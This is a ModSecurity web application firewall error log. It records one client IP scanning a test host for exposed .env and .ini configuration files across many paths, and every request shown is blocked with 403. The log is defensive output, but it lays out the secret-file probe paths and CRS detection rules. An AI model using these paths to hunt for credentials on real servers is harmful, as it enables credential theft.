[Thu Mar 12 21:45:29.340693 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/server/.env"] [unique_id "abMl6YO4G5_wf15cy512ugAAAAg"]
[Thu Mar 12 21:45:29.340819 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/server/.env"] [unique_id "abMl6YO4G5_wf15cy512ugAAAAg"]
[Thu Mar 12 21:45:29.362847 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /server/api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/server/api/.env"] [unique_id "abMl6YO4G5_wf15cy512uwAAAAg"]
[Thu Mar 12 21:45:29.363088 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/server/api/.env"] [unique_id "abMl6YO4G5_wf15cy512uwAAAAg"]
[Thu Mar 12 21:45:29.363219 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/server/api/.env"] [unique_id "abMl6YO4G5_wf15cy512uwAAAAg"]
[Thu Mar 12 21:45:29.408058 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /server/backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/server/backend/.env"] [unique_id "abMl6YO4G5_wf15cy512vQAAAAg"]
[Thu Mar 12 21:45:29.408254 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/server/backend/.env"] [unique_id "abMl6YO4G5_wf15cy512vQAAAAg"]
[Thu Mar 12 21:45:29.408376 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/server/backend/.env"] [unique_id "abMl6YO4G5_wf15cy512vQAAAAg"]
[Thu Mar 12 21:45:29.567233 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /service/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/service/.env"] [unique_id "abMl6YO4G5_wf15cy512xAAAAAg"]
[Thu Mar 12 21:45:29.567436 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/service/.env"] [unique_id "abMl6YO4G5_wf15cy512xAAAAAg"]
[Thu Mar 12 21:45:29.567574 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/service/.env"] [unique_id "abMl6YO4G5_wf15cy512xAAAAAg"]
[Thu Mar 12 21:45:29.589604 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /services/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/services/.env"] [unique_id "abMl6YO4G5_wf15cy512xQAAAAg"]
[Thu Mar 12 21:45:29.589828 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/services/.env"] [unique_id "abMl6YO4G5_wf15cy512xQAAAAg"]
[Thu Mar 12 21:45:29.589961 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/services/.env"] [unique_id "abMl6YO4G5_wf15cy512xQAAAAg"]
[Thu Mar 12 21:45:29.611676 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/services/environments.ini"] [unique_id "abMl6YO4G5_wf15cy512xgAAAAg"]
[Thu Mar 12 21:45:29.612085 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/services/environments.ini"] [unique_id "abMl6YO4G5_wf15cy512xgAAAAg"]
[Thu Mar 12 21:45:29.612210 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/services/environments.ini"] [unique_id "abMl6YO4G5_wf15cy512xgAAAAg"]
[Thu Mar 12 21:45:29.633922 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/settings.ini"] [unique_id "abMl6YO4G5_wf15cy512xwAAAAg"]
[Thu Mar 12 21:45:29.634294 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/settings.ini"] [unique_id "abMl6YO4G5_wf15cy512xwAAAAg"]
[Thu Mar 12 21:45:29.634439 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/settings.ini"] [unique_id "abMl6YO4G5_wf15cy512xwAAAAg"]
[Thu Mar 12 21:45:29.724810 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /shared/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/shared/.env"] [unique_id "abMl6YO4G5_wf15cy512ywAAAAg"]
[Thu Mar 12 21:45:29.725018 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/shared/.env"] [unique_id "abMl6YO4G5_wf15cy512ywAAAAg"]
[Thu Mar 12 21:45:29.725149 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/shared/.env"] [unique_id "abMl6YO4G5_wf15cy512ywAAAAg"]
[Thu Mar 12 21:45:29.747044 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /shop/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/shop/.env"] [unique_id "abMl6YO4G5_wf15cy512zAAAAAg"]
[Thu Mar 12 21:45:29.747236 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/shop/.env"] [unique_id "abMl6YO4G5_wf15cy512zAAAAAg"]
[Thu Mar 12 21:45:29.747362 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/shop/.env"] [unique_id "abMl6YO4G5_wf15cy512zAAAAAg"]
[Thu Mar 12 21:45:29.769305 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env"] [unique_id "abMl6YO4G5_wf15cy512zQAAAAg"]
[Thu Mar 12 21:45:29.769491 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env"] [unique_id "abMl6YO4G5_wf15cy512zQAAAAg"]
[Thu Mar 12 21:45:29.769619 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.env"] [unique_id "abMl6YO4G5_wf15cy512zQAAAAg"]
[Thu Mar 12 21:45:29.996718 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /stage/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/stage/.env"] [unique_id "abMl6YO4G5_wf15cy5121wAAAAg"]
[Thu Mar 12 21:45:29.996919 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/stage/.env"] [unique_id "abMl6YO4G5_wf15cy5121wAAAAg"]
[Thu Mar 12 21:45:29.997051 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/stage/.env"] [unique_id "abMl6YO4G5_wf15cy5121wAAAAg"]
[Thu Mar 12 21:45:30.018950 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /staging/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/staging/.env"] [unique_id "abMl6oO4G5_wf15cy5122AAAAAg"]
[Thu Mar 12 21:45:30.019143 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/staging/.env"] [unique_id "abMl6oO4G5_wf15cy5122AAAAAg"]
[Thu Mar 12 21:45:30.019268 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/staging/.env"] [unique_id "abMl6oO4G5_wf15cy5122AAAAAg"]
[Thu Mar 12 21:45:30.131261 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /stg/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/stg/.env"] [unique_id "abMl6oO4G5_wf15cy5123QAAAAg"]
[Thu Mar 12 21:45:30.131440 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/stg/.env"] [unique_id "abMl6oO4G5_wf15cy5123QAAAAg"]
[Thu Mar 12 21:45:30.131552 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/stg/.env"] [unique_id "abMl6oO4G5_wf15cy5123QAAAAg"]
[Thu Mar 12 21:45:30.198869 2026] [:error] [pid 2656567] [client 185.177.72.13:41258] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /test/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/test/.env"] [unique_id "abMl6oO4G5_wf15cy5124AAAAAg"]
